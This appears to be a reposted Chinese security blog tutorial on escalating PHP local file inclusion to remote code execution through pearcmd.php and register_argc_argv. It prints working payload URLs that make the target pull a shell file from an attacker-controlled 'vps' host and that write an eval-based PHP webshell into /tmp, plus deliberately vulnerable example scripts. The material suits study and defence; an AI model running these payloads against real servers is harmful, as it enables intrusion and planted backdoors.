pearcmd.php的妙用

pearcmd.php的妙用

1. register_argc_argv

如果环境中含有php.ini,则默认register_argc_argv=Off;如果环境中没有php.ini,则默认register_argc_argv=On

这个register_argc_argv能干什么呢?

cli模式下

简言之,可以通过$_SERVER[‘argv’]`获得命令行参数,其中

test.php

<?php
var_dump($_SERVER['argv']);
?>

测试

image-20211220192823112

多个参数

image-20211220192856947

WEB模式中

image-20211220193208559

注意其中是用+作为分隔符的,不是&

简单的利用

修改test.php

<?php

var_dump($_SERVER['argv']);
$a = $_SERVER['argv'];
$a[0]($a[1]);
?>

image-20211220193633488

2. pearcmd.php的神奇使用

p佬的分析:Docker PHP裸文件本地包含综述 | 离别歌 (leavesongs.com)

image-20211220194003580

有一点不一样的地方,我复现的环境使用的是

ubuntu18.04
lamp
apt-get install  php-pear

我的pear存放的位置在/usr/bin/pear,pear是一个文件

image-20211220200509551

PEAR是为PHP扩展与应用库(PHP Extension and Application Repository),它是一个PHP扩展及应用的一个代码仓库
类似于composer,用于代码的下载与管理。

pearcmd.php的位置为/usr/share/php/pearcmd.php

image-20211220202211777

pear可以用来拉取远程的代码(注意:如果是php代码的话,注意不要被解析,下面举个例子)

pear install -R /tmp http://vps/shell.php

假设你的vps上在/var/www/html中,有一个shell.php

<?php
echo "aaa";
?>

如果你远程服务器中/var/www/html中php代码可以被解析,那么你使用pear拉取到的shell.php就是

aaa

如果远程服务器上的php没有被解析没有被解析,拉取到的shell.php就是

<?php
echo "aaa";
?>

具体的例子如下(因为不想被解析,所以vps上就只安装了apache2),可以看到我们的shell.php被拉取到了/tmp/tmp/pear/download中

image-20211220195829498

3. register_argc_argv和pear的关系

pear文件

#!/bin/sh

# first find which PHP binary to use
if test "x$PHP_PEAR_PHP_BIN" != "x"; then
  PHP="$PHP_PEAR_PHP_BIN"
else
  if test "/usr/bin/php" = '@'php_bin'@'; then
    PHP=php
  else
    PHP="/usr/bin/php"
  fi
fi

# then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
  INCDIR=$PHP_PEAR_INSTALL_DIR
  INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
  if test "/usr/share/php" = '@'php_dir'@'; then
    INCDIR=`dirname $0`
    INCARG=""
  else
    INCDIR="/usr/share/php"
    INCARG="-d include_path=/usr/share/php"
  fi
fi

exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"

需要注意的是:当执行了pear后,会将$_SERVER[‘argv’]当作参数执行!如果存在文件包含漏洞的话,就可以包含pearcmd.php,拉取远程服务器上的文件到靶机,再通过文件包含获取shell。

4. payload

靶机可出网

测试:

靶机test.php如下,需要拉取远程服务器的shell.php到靶机的/tmp目录下

<?php
include($_GET['file']);
?>

使用的payload

http://localhost/test.php?file=/usr/share/php/pearcmd.php&+install+-R+/tmp+http://vps/shell.php

image-20211220202650615

然后文件包含/tmp/tmp/pear/download/shell.php同时传参cmd即可

靶机不可出网时

image-20211220204940372

/test.php?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php

根据p佬的博客中写的

image-20211220204434370

写一句话木马进hello.php

/test.php?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=eval($_POST[1])?>+/tmp/hello.php

getshell

image-20211220204725797

参考链接

  1. P佬的Docker PHP裸文件本地包含综述
  2. 利用pearcmd.php从LFI到getshell
  3. 利用pearcmd.php从LFI到getshell

猜你喜欢

转载自blog.csdn.net/RABCDXB/article/details/122050370